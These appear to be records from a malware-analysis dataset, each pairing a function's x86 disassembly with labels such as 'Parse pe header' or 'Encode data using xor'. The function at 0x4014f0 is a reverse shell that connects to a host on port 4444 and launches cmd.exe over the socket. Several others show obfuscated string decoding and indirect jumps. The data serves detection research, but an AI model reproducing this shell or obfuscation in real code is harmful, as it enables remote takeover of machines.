joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425070
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42509d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42509d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x417d34
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00417db3
jae 0x417d40
xor ecx, ecx
call fcn.00417db3
jae 0x417d6a
xor eax, eax
call fcn.00417db3
jae 0x417d7b
mov al, 0x10
call fcn.00417db3
adc al, al
jae 0x417d5c
jne 0x417da8
stosb byte es:[edi], al
jmp 0x417d41
call fcn.00417dbf
dec ecx
loop 0x417d87
mov eax, ebp
call fcn.00417dbd
jmp 0x417da9
lodsb al, byte [esi]
shr eax, 1
je 0x417dcf
adc ecx, 2
mov ebp, eax
jmp 0x417da9
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00417dbd
cmp eax, 0x7d00
jae 0x417da7
cmp eax, 0x500
jae 0x417da8
cmp eax, 0x7f
ja 0x417da9
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x417d41
pop ebp
ret 8
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40627c], 1
mov dword [0x406278], 1
mov dword [0x406274], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406288]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40629c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406284]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x4014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
mov dword [esp + 4], 0x406040
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x4061d0], eax
mov dword [esp], str.256.65.25.1
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 4], eax
mov dword [esp], 0x4061e8
call sym._strcpy
mov word [0x4061d8], 2
mov dword [esp], str.4444
call sym._atoi
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x4061da], ax
mov dword [esp], 0x4061e8
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x4061dc], eax
mov eax, dword [0x4061d0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4061d8
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x406200
call sym._memset
mov dword [0x406200], 0x44
mov dword [0x40622c], 0x100
mov eax, dword [0x4061d0]
mov dword [0x406240], eax
mov eax, dword [0x406240]
mov dword [0x40623c], eax
mov eax, dword [0x40623c]
mov dword [0x406238], eax
mov dword [esp + 0x24], 0x406244
mov dword [esp + 0x20], 0x406200
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
nop
leave
ret 0x10

Function at 0x401920
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401980
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406290]
test esi, esi
jle 0x401aa0
mov eax, dword [0x406294]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4019b4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a37
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019a0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401ac7
mov eax, dword [0x406294]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406294]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401aa7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401a30
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401a40
add dword [0x406290], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406294]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a30
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x4019be
mov eax, dword [0x406294]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop

Function at 0x401ff0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4062ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4062a4]
sub esp, 4
test ebx, ebx
je 0x402045
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40203e
test eax, eax
jne 0x40203e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402020
mov dword [esp], 0x4062ac
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402380
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4023a5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4023b0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4023a5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4023f8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4023ee
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4023fa
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x4023e0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4042c0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x4043b0
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x4043b0
mov ebp, dword [esp + 0x28]
mov esi, 0x1505
test ebp, ebp
je 0x404317
xor edi, edi
nop
movzx ecx, byte [ebx + edi]
test ecx, ecx
je 0x404317
mov edx, esi
shl edx, 5
add edx, esi
mov esi, edx
and esi, ecx
xor edx, ecx
lea esi, [edx + esi*2]
mov ecx, edi
and ecx, 1
xor edi, 1
lea edi, [edi + ecx*2]
cmp edi, ebp
jb 0x4042f0
mov ecx, dword [esp + 0x20]
mov edi, dword [ecx + 0x20]
mov ebx, edi
sub ebx, 1
jb 0x4043b0
and ebx, esi
mov eax, edi
xor eax, 1
mov edx, edi
and edx, 0xfffffffe
add edx, edx
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x404354
inc ebx
dec edi
je 0x4043ae
mov eax, ebx
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov ebp, dword [edx + eax*4]
cmp ebp, 0xffffffff
je 0x4043ae
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x404350
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + ebp*4]
mov dword [esp], eax
push eax
call fcn.0040c7c0
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x404350
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.0040c7e0
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x404350
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x4043b0
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x405630
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, 0xffffffff
cmp dword [esp + 0x28], 0
je 0x405823
mov edi, dword [esp + 0x2c]
test edi, edi
je 0x405823
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x405823
cmp dword [ecx], 0
jne 0x405823
push edi
call fcn.0040c7c0
add esp, 4
mov ebp, 0x1505
test eax, eax
je 0x4056a7
xor ebx, ebx
nop
nop
nop
nop
movzx ecx, byte [edi + ebx]
test ecx, ecx
je 0x4056a7
mov edx, ebp
shl edx, 5
add edx, ebp
mov esi, edx
and esi, ecx
xor edx, ecx
lea ebp, [edx + esi*2]
mov ecx, ebx
and ecx, 1
xor ebx, 1
lea ebx, [ebx + ecx*2]
cmp ebx, eax
jb 0x405680
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x28]
mov ebx, dword [ecx + 0x20]
mov esi, ebx
sub esi, 1
mov dword [esp], ebp
jae 0x405782
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
mov edi, dword [esp + 0x30]
mov ebx, dword [esp + 0x2c]
jb 0x405710
mov ecx, dword [esp + 0x28]
call fcn.004058f0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
jne 0x405823
push ebx
call fcn.0040c7c0
add esp, 4
lea esi, [esp + 0x10]
mov ecx, dword [esp + 0x28]
mov edx, ebx
push esi
push dword [esp + 4]
push eax
call fcn.00405830
add esp, 0xc
mov ebp, eax
push ebx
call fcn.0040c7c0
add esp, 4
mov esi, ebx
mov ebx, eax
inc eax
push eax
call dword [0x448008]
add esp, 4
test eax, eax
je 0x40581e
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040c6c0
add esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov dword [eax + ecx*4], edi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov esi, dword [esp]
mov dword [eax + ecx*4], esi
mov ecx, edx
inc dword [edx + 0x18]
mov eax, dword [ecx]
mov dword [edi], eax
xor eax, eax
jmp 0x405823
and esi, ebp
mov eax, ebx
xor eax, 1
mov edx, ebx
and edx, 0xfffffffe
add edx, edx
sub edx, eax
mov dword [esp + 0xc], edx
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
jmp 0x4057a8
inc esi
dec ebx
je 0x4056c0
mov ebp, esi
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov edi, dword [eax + ebp*4]
cmp edi, 0xffffffff
je 0x4056c5
mov eax, dword [ecx + 8]
mov edx, dword [esp]
cmp dword [eax + edi*4], edx
jne 0x4057a0
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + edi*4]
push ebp
call fcn.0040c7c0
mov ecx, dword [esp + 0x2c]
add esp, 4
cmp eax, dword [esp + 4]
jne 0x4057a0
push dword [esp + 4]
push ebp
push dword [esp + 0x34]
call fcn.0040c7e0
mov ecx, dword [esp + 0x34]
add esp, 0xc
test eax, eax
jne 0x4057a0
mov eax, dword [ecx + 0x10]
push dword [eax + edi*4]
call fcn.004046e0
mov ecx, dword [esp + 0x2c]
add esp, 4
mov eax, dword [ecx + 0x10]
mov edx, dword [esp + 0x30]
mov dword [eax + edi*4], edx
mov edi, edx
jmp 0x405777
mov eax, 0xffffffff
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4068c0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x406a66
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x406a5f
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
jmp 0x406955
mov eax, dword [esp]
sub eax, dword [esp + 4]
add ebp, eax
mov esi, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp]
mov edx, 0x15b0
je 0x406a5f
xor ebx, ebx
cmp edx, 8
mov dword [esp], edx
mov dword [esp + 8], esi
jb 0x4069ce
mov ebx, edx
and ebx, 0x1ff8
xor eax, eax
nop
nop
nop
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
add ecx, eax
movzx esi, byte [ebp + edx + 1]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 2]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 3]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 4]
add eax, esi
add ecx, eax
movzx esi, byte [ebp + edx + 5]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + edx + 6]
add eax, esi
add ecx, eax
movzx edi, byte [ebp + edx + 7]
add edi, eax
add ecx, edi
lea eax, [edx + 8]
add edx, 0xf
cmp edx, dword [esp]
mov edx, dword [esp]
jb 0x406970
add ebp, eax
mov esi, dword [esp + 8]
mov eax, ebx
sub eax, edx
jae 0x40691d
mov dword [esp + 0xc], eax
mov eax, edx
and eax, 3
mov dword [esp + 4], ebx
je 0x406a10
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
movzx esi, byte [edx]
inc edx
add edi, esi
add ecx, edi
dec ebx
cmp eax, ebx
jne 0x4069f0
mov eax, dword [esp + 4]
sub eax, ebx
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406910
jmp 0x406a1f
mov eax, ebx
mov edx, ebp
cmp dword [esp + 0xc], 0xfffffffc
ja 0x406910
mov ebx, dword [esp]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [edx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [edx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp ebx, eax
jne 0x406a30
jmp 0x406910
shl ecx, 0x10
or ecx, edi
jmp 0x406a6b
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x406a80
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x406aae
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test ebx, ebx
je 0x406b4c
not eax
test bl, 1
jne 0x406ab5
mov edx, ebx
cmp ebx, 1
jne 0x406ae8
jmp 0x406b4a
xor eax, eax
jmp 0x406b4c
lea edx, [ebx - 1]
mov esi, eax
shr esi, 4
movzx edi, byte [ecx]
inc ecx
xor eax, edi
and eax, 0xf
xor esi, dword [eax*4 + 0x445c50]
mov eax, esi
and eax, 0xf
shr edi, 4
xor edi, eax
shr esi, 4
xor esi, dword [edi*4 + 0x445c50]
mov eax, esi
cmp ebx, 1
je 0x406b4a
xor esi, esi
nop
nop
nop
nop
nop
nop
mov edi, eax
shr edi, 4
movzx ebx, byte [ecx + esi]
xor eax, ebx
and eax, 0xf
xor edi, dword [eax*4 + 0x445c50]
mov eax, edi
and eax, 0xf
shr ebx, 4
xor ebx, eax
shr edi, 4
xor edi, dword [ebx*4 + 0x445c50]
mov eax, edi
shr eax, 4
movzx ebx, byte [ecx + esi + 1]
xor edi, ebx
and edi, 0xf
xor eax, dword [edi*4 + 0x445c50]
mov edi, eax
and edi, 0xf
shr ebx, 4
xor ebx, edi
shr eax, 4
xor eax, dword [ebx*4 + 0x445c50]
add esi, 2
cmp edx, esi
jne 0x406af0
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x40c570
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x14]
mov ebx, dword [edx + 8]
mov esi, 1
cmp ebx, eax
jae 0x40c5dc
mov edi, edx
cmp dword [esp + 0x18], 0
je 0x40c5be
cmp ebx, 1
adc ebx, 0
cmp ebx, eax
jae 0x40c5c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
and edx, 2
mov ebp, ebx
or ebx, 2
imul ebx, edx
xor edx, 2
and ebp, 0xfffffffd
imul ebp, edx
add ebx, ebp
cmp ebx, eax
jb 0x40c5a0
jmp 0x40c5c0
mov ebx, eax
push ebx
push dword [edi + 0xc]
push dword [edi]
push dword [ecx + 0x34]
call dword [ecx + 0x30]
add esp, 0x10
test eax, eax
je 0x40c5da
mov dword [edi], eax
mov dword [edi + 8], ebx
jmp 0x40c5dc
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40d060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0x40d191
lea eax, [edi + 2]
xor ebx, ebx
jmp 0x40d09c
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x40d0c5
cmp cx, 0x7f
jbe 0x40d090
movzx ecx, cx
cmp ecx, 0x7ff
ja 0x40d0c0
mov ecx, ebx
and ecx, 2
xor ebx, 2
lea ebx, [ebx + ecx*2]
jmp 0x40d091
add ebx, 3
jmp 0x40d091
lea esi, [ebx + 1]
push esi
call fcn.0040c690
add esp, 4
test ebx, ebx
jle 0x40d19b
add ebx, eax
add esi, eax
mov dword [esp + 8], esi
mov ebp, eax
jmp 0x40d105
mov byte [ebp], dl
mov esi, 1
add edi, 2
add ebp, esi
cmp ebp, ebx
jae 0x40d19d
movzx edx, word [edi]
test dx, dx
je 0x40d19d
cmp dx, 0x7f
jbe 0x40d0f0
mov ecx, ebp
not ecx
add ecx, dword [esp + 8]
movzx esi, dx
cmp ecx, 2
jb 0x40d150
cmp esi, 0x7ff
ja 0x40d150
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [ebp], cl
and dl, 0x3f
or dl, 0x80
mov byte [ebp + 1], dl
mov esi, 2
jmp 0x40d0f8
mov dword [esp + 4], esi
xor esi, esi
cmp ecx, 3
jb 0x40d0f8
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [ebp], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebp + 1], cl
mov ecx, edx
not ecx
or ecx, 0x3f
add ecx, edx
add cl, 0x81
mov byte [ebp + 2], cl
mov esi, 3
jmp 0x40d0f8
push 1
call fcn.0040c690
add esp, 4
mov ebp, eax
mov edi, dword [esp + 0x228]
mov esi, dword [esp + 0x224]
mov byte [ebp], 0
movzx edx, byte [eax]
lea ecx, [esp + 0xc]
mov ebx, ecx
test dl, dl
je 0x40d1e6
inc eax
lea ebx, [esp + 0xc]
jmp 0x40d1db
mov byte [ebx], dh
inc ebx
movzx edx, byte [eax]
inc eax
test dl, dl
je 0x40d1e6
mov dh, 0x2f
cmp dl, 0x5c
je 0x40d1d0
mov dh, dl
jmp 0x40d1d0
mov byte [ebx], 0
push 0
push 0
push 0
mov eax, dword [esp + 0xc]
push dword [eax + 8]
add eax, 0x10
push 0
push 0
push edi
push esi
push ecx
push eax
call fcn.00408bc0
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40e0d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x198
mov eax, dword [0x44e0b0]
mov dword [esp + 0x118], 0x21261f24
mov dword [esp + 0x11c], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 7
ja 0x40e161
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x118]
mov esi, ecx
xor esi, 0x97b83139
and ecx, 0x17b83139
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 0x18], esi
mov ecx, dword [esp + 0x18]
mov edx, ecx
xor edx, 0x1d
and ecx, 0x62
add ecx, ecx
sub ecx, edx
mov edx, dword [esp]
mov byte [esp + edx + 0x118], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 8
jb 0x40e110
mov ecx, dword [esp + 0x118]
mov dword [esp + 0x18], 0x1fb719a3
mov dword [esp + 0x1c], 0xe34a1dae
mov dword [esp + 0x20], 0xe752e154
mov dword [esp + 0x24], 0xeb18e554
mov dword [esp + 0x28], 0xef42e94c
mov dword [esp + 0x2c], 0xf3f2ed40
mov word [esp + 0x30], 0
mov dword [esp + 4], 0
mov edx, dword [esp + 4]
cmp edx, 0x19
ja 0x40e213
mov edx, dword [esp + 4]
mov esi, dword [esp + 4]
movzx esi, byte [esp + esi + 0x18]
mov edi, edx
xor edi, 0x6a20607a
add edx, edx
and edx, 0xd440c0f4
mov ebx, edx
and ebx, edi
xor edx, edi
lea edx, [edx + ebx*2]
lea edi, [edx + esi]
and edx, esi
mov esi, edi
not esi
and esi, edx
add esi, edx
not edx
and edx, edi
sub edx, esi
mov dword [esp], edx
mov edx, dword [esp]
mov esi, edx
not esi
and esi, 0x62
and edx, 0x9d
sub edx, esi
mov esi, dword [esp + 4]
mov byte [esp + esi + 0x18], dl
inc dword [esp + 4]
mov edx, dword [esp + 4]
cmp edx, 0x1a
jb 0x40e1b0
lea edx, [esp + 0x18]
push ecx
push 0
push edx
call eax
mov ecx, 0x44e078
push eax
call fcn.0043e210
movzx eax, al
mov eax, dword [eax*4 + 0x448adc]
mov ecx, 0xbde2653c
xor ecx, dword [0x448ae4]
add eax, ecx
inc eax
jmp eax
Function at 0x410d20
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb8
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x4496b8]
Function at 0x41a2b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov ebp, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
mov edi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebp + edi + 2], 0
lea edi, [edi + 2]
jne 0x41a2d0
mov esi, dword [eax + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x41a2f0
sar edi, 1
sar eax, 1
lea ecx, [edi + eax]
add ecx, 2
test ecx, ecx
jns 0x41a310
mov eax, 0xffffffff
jmp 0x41a319
add eax, edi
lea eax, [eax*2 + 4]
push eax
call fcn.0040c690
add esp, 4
movzx ecx, word [esi]
mov ebx, eax
test cx, cx
je 0x41a351
add esi, 2
mov ebx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], cx
add ebx, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x41a340
mov word [ebx], 0x5c
add ebx, 2
movzx ecx, word [ebp]
test cx, cx
je 0x41a381
lea edx, [ebp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], cx
add ebx, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41a370
mov word [ebx], 0
lea ecx, [esp + 8]
push 0x60
push 3
push 0x120089
push ecx
mov dword [esp + 0x28], eax
push eax
call fcn.00443030
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x449d7c]